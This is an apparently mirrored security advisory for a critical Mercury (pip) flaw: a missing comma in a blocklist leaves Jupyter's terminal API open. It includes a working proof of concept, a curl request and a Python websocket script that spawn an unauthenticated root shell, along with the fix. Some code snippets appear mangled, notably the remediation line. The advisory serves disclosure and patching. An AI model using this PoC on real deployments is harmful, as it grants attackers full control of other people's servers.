GHSA-f8c7-rwf9-fmgm: Critical severity pip/mercury vulnerability

Published Oct 19, 2026
·
Updated

Summary A missing comma in mercuryapp/blockhandler.py's BLOCKEDPATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details The blocklist in mercuryapp/blockhandler.py is defined as: BLOCKEDPATTERNS = [ # JupyterLab UI + API r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.)?" r"/api/terminals(?:/.)?", r"/api/shutdown(?:/.)?", r"/files(?:/.)?", ] The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.)?/api/terminals(?:/.)? (the first two lines joined together) /api/shutdown(?:/.)? /files(?:/.)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration. Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals Response: {"name": "1", "lastactivity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c " import websocket, json, time

ws = websocket.createconnection('ws://localhost:8888/terminals/websocket/1') print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n'])) time.sleep(1)

ws.settimeout(2) try: while True: print(ws.recv()) except Exception: pass "

Observed output:

["setup", {}] ["stdout", "# "] ["stdout", "whoami && id\r\n"] ["stdout", "root\r\n"] ["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact - Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets). - Integrity: attacker can modify or delete any file, including notebooks served to other users. - Availability: attacker can shut down or crash the server/container. - Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix Add the missing comma so /api/terminals becomes an independent blocklist rule: BLOCKEDPATTERNS = [ # JupyterLab UI + API r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.)?", r"/api/terminals(?:/.)?", r"/api/shutdown(?:/.)?", r"/files(?:/.)?", ]

Affected Software

1 affected componentFixes available
pip/mercury>=3.0.0<=3.2.3
3.2.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/mercury to a version that resolves this vulnerability.

    Fixed in 3.2.4
  2. Configuration

    Add the missing comma after the /api/terminals blocklist pattern so /api/terminals becomes an independent blocked endpoint rule.

    Mercury mercury_app/block_handler.py: BLOCKED_PATTERNS = r"/api/terminals(?:/.*)?",

Event History

Oct 19, 2026
Advisory Published
via GitHub·05:00 PM
Data Sourced
via GitHub·05:00 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Any Mercury deployment reachable by an unauthenticated network attacker is exposed if it contains the affected blocklist behavior. The issue was demonstrated in a local Docker deployment.

2

What does an attacker need to exploit it?

An attacker needs only network access to the Mercury service. No authentication, account, session, user interaction, or prior access is required.

3

What access does successful exploitation provide?

A successful attacker can reach Jupyter Server's terminal API and create an interactive OS-level shell on the host running Mercury through a WebSocket connection.

4

How can I determine whether my deployment is affected?

Inspect mercury_app/block_handler.py for BLOCKED_PATTERNS. If the JupyterLab rule and the /api/terminals rule are adjacent string literals without a comma between them, Python joins them and a direct /api/terminals request is not blocked.

5

Is a fix available?

The referenced Mercury release is v3.2.4, and the advisory references commit 8c467129037ee9df269d543ac217ffd33b97bf3f.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203